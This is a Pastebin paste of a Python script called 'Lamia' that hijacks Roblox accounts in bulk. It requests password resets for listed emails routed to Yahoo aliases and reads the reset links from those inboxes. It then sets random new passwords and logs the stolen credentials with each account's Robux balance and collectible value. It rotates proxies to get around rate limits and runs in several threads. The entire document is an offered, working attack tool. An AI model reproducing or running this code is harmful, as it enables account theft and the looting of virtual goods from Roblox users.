Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests, json, yaa, re, time, random, os, string, threading
- from bs4 import BeautifulSoup
- ylogins = ['username:password','username2:password2']
- ylist = []
- oproxies = []
- proxies = []
- check = []
- threads = []
- class Lamia:
- global check, oproxies
- def __init__(self, yahoo):
- self.yahoo = yahoo
- self.onproxy = getproxy()
- self.start()
- def start(self):
- while len(check)>0:
- email = check[0]
- check.pop(0)
- self.yahoo.new_alias(email.split("@")[0])
- resetlink = self.getreset(email)
- if resetlink:
- form = None
- while not form:
- print("getting form for %s " % email)
- try:form = self.rs.get(resetlink).text
- except:
- self.onproxy = getproxy()
- self.rs.proxies.update({'https':self.onproxy})
- soup = BeautifulSoup(form,'lxml')
- if not 'Choose an Account' in form:
- self.saveaccount(resetlink,soup.find('input',{'name':'Username'})['value'],soup.find('input',{'name':'UserId'})['value'],email)
- else:
- count = 0
- for user in soup.findAll(True,{'class':'account-linked-to-email'}):
- count+=1
- if count<6:
- if not resetlink: resetlink=self.getreset(email)
- self.saveaccount(resetlink,user['data-username'],user['data-user-id'],email)
- resetlink = None
- if count>=6:
- data = "Unable to get all accounts for %s (had %s accounts)" % (email,str(count))
- print data
- save(data)
- self.yahoo.del_alias()
- def getreset(self, email):
- global oproxies
- self.rs = requests.Session()
- self.rs.proxies.update({'https':self.onproxy})
- self.rs.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36'})
- try:res = json.loads(self.rs.post('https://www.roblox.com/login/getpasswordbyemail',data={'email':email},timeout=20).text)
- except:res = {'success':False,'message':'Bad proxy'}
- print "get reset %s %s %s %s" % (email, res['success'],res['message'],self.onproxy)
- if res['success']:
- reset_email, tries = None, 0
- while tries<3 and not reset_email:
- time.sleep(4)
- print "attempting to get reset for %s" % email
- reset_email = self.yahoo.get_email("Roblox Account Password Reset")
- tries += 1
- if reset_email:
- return re.findall(r'(https[^\n]*)', reset_email)[0]
- else: return self.getreset(email)
- elif 'Too many attempts' in res['message'] or 'Bad proxy' in res['message']:
- if 'Bad proxy' in res['message']:
- oproxies.remove(self.onproxy)
- self.onproxy = getproxy()
- return self.getreset(email)
- def saveaccount(self, link, username, userid, email):
- print "attempting to save %s - %s" % (username, email)
- password = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(20))
- tries, success = 0, False
- while tries<3 and not success:
- tries+=1
- try: self.rs.post(link,data={'UserId':userid,'Version':'2','Username':username,'NewPassword':password,'NewPasswordRepeated':password,'Ticket':BeautifulSoup(self.rs.get(link).text,'lxml').find('input',{'name':'Ticket'})['value'],'IsEmailVerified':'False','IsTwoStepVerificationEnabled':'False'},timeout=30)
- except: pass
- try: robux = self.rs.get("http://api.roblox.com/currency/balance").text
- except: robux = 'errors'
- if 'errors' in robux:
- print "failed to reset %s" % username
- self.onproxy = getproxy()
- self.rs.proxies.update({'https':self.onproxy})
- else:
- success = True
- robux = str(json.loads(robux)['robux'])
- rap = str(getrap(userid))
- data = ':'.join([username,userid,password,email,robux,rap])
- print data
- save(data)
- if not success:
- self.saveaccount(re.findall(r'(https[^\n]*)', self.getreset(email))[0], username, userid, email)
- def getrap(userid):
- totalrap = 0
- try:
- for at in ['Hat','Face','Gear','HairAccessory','FaceAccessory','NeckAccessory','ShoulderAccessory','FrontAccessory','BackAccessory','WaistAccessory']:
- cursor = 1
- while cursor:
- url = "https://inventory.roblox.com/v1/users/%s/assets/collectibles?assetType=%s&sortOrder=Asc&limit=100"%(str(userid),at)
- if str(cursor)!='1':url+="&cursor="+cursor
- j = json.loads(requests.get(url).text)
- cursor = j['nextPageCursor']
- for item in j['data']:
- if item['recentAveragePrice']: totalrap +=item['recentAveragePrice']
- except: totalrap = "N/A"
- return totalrap
- def save(data):
- with open('mlamia-output.txt','a') as file:
- file.write(data+"\n")
- def getproxy():
- global proxies, oproxies
- if len(proxies)>0:
- proxy = proxies[0]
- proxies.pop(0)
- else:
- proxies = oproxies[:]
- proxy = getproxy()
- return proxy
- for line in open("mrco.txt","r").readlines():
- check.append(line.strip('\n'))
- for line in open("proxies.txt","r").readlines():
- oproxies.append(line.strip('\n'))
- proxies = oproxies[:]
- for login in ylogins:
- up = login.split(":")
- ny = yaa.new()
- ny.login(up[0],up[1])
- ylist.append(ny)
- for i in xrange(len(ylist)):
- threads.append(threading.Thread(target=Lamia,args=(ylist[i],)))
- threads[i].setDaemon(True)
- threads[i].start()
- time.sleep(0.25)
- print str(len(threads)) + ' threads started...'
- while not len(threading.enumerate())-1==0:
- time.sleep(5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement